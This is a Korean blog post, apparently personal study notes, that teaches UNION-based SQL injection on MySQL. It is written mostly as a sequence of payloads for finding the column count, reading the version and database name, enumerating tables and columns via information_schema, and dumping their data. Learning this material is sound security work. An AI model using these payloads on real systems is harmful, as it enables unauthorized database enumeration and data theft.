• UNION SQL injection

    2023. 7. 13.

    by. MinYuqShu

    반응형

    UNION SQL injection을 알아보도록 하장 ㅎ

    UNION은 SQL에서 두개의 쿼리문에 대한 결과를 통합해서 하나의 테이블로 보여주게 하는 키워드다.

    정상적 쿼리문에 UNION 키워드를 사용하여 injection에 성공하면, 원하는 쿼리문을 실행 할 수 있게 된다.

     

    UNION: 중복 제거 결과

    UNION ALL: 중복 포함 결과

     

    조건: UNION 하는 두 테이블 COLUMN의 개수가 같아야함.

     

    그럼 일단 나는 MySQL과 SQL injection이 성공한다는 가정하에 설명하도록 하겠다. 

     

    일단 조건 즉 COLUMN의 개수를 찾는 방법을 설명하도록 하겠다

     

    1' union select 1#
    1' union select 1,2# 
    1' union select 1,2,3#
    1' union select 1,2,3,4#

    와 같이 늘리면서 injectoin해서 성공하면 COLUMN의 개수를 찾을 수 있다.

    여기서 나는 COLUMN의 개수를 2개라고 가정하고 하겠다 

     

    이제 버전을 찾자.

     

    1' UNION SELECT @@version,NULL # 버전 확인!!!

     

    버전을 찾았으면 DB의 이름을 확인하자.

    1' union select 1,database()#

     

    DB를 찾으면 TABLE이름을 알아보자.

     

    1' union select table_name,2 from information_schema.tables where table_schema='[DB name]'#

    TABLE이름을 알아냈으면 COLUMN의 이름도 알아보자.

     

    ' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_schema='[DB name]' and table_name='[table name]'#

    이제 다왔다 그럼 이제 마무리로 데이터를 찾자

    1' union select 1,[column name]from [table name]#

    더 털고 싶은 사람들을 위한 UNION SQL injection 쿼리문들....

     

    DB이름 다 터는 쿼리

    ' union select NULL, group_concat(schema_name) from information_schema.schemata#

    table 이름을  다 터는 쿼리

    'union select NULL, group_concat(table_name) from information_schema.tables# => table 이름 다 터는 쿼리

    column 이름 다 터는 쿼리

    ' UNION SELECT NULL, group_concat(column_name) FROM information_schema.columns# =>column 이름 다 터는 쿼리

    DB개수 알려주는 쿼리

    ' UNION select NULL, count(*) from information_schema.schemata#

    table 개수 알려주는 쿼리

    ' UNION select NULL, count(*) from information_schema.tables#

    column 개수 알려주는 쿼리

    ' UNION select NULL, count(*) from information_schema.columns#

     

    일단 UNION SQL injection 공부하면서 SQL의 대한 공부가 필요하다고 느끼는 계기가 됐다. 

     

    SQL 문법이나 혹은 다양한 실습을 좀 더 해보도록 하자.

    반응형

    '웹해킹' 카테고리의 다른 글

    구름 IDE를 이용한 리버스셸  (0) 2023.10.01
    XSS cheat sheet 모음집  (0) 2023.09.29
    LOS-vampire  (1) 2023.07.02
    LOS-troll  (0) 2023.07.02
    LOS-orge  (0) 2023.07.02

    댓글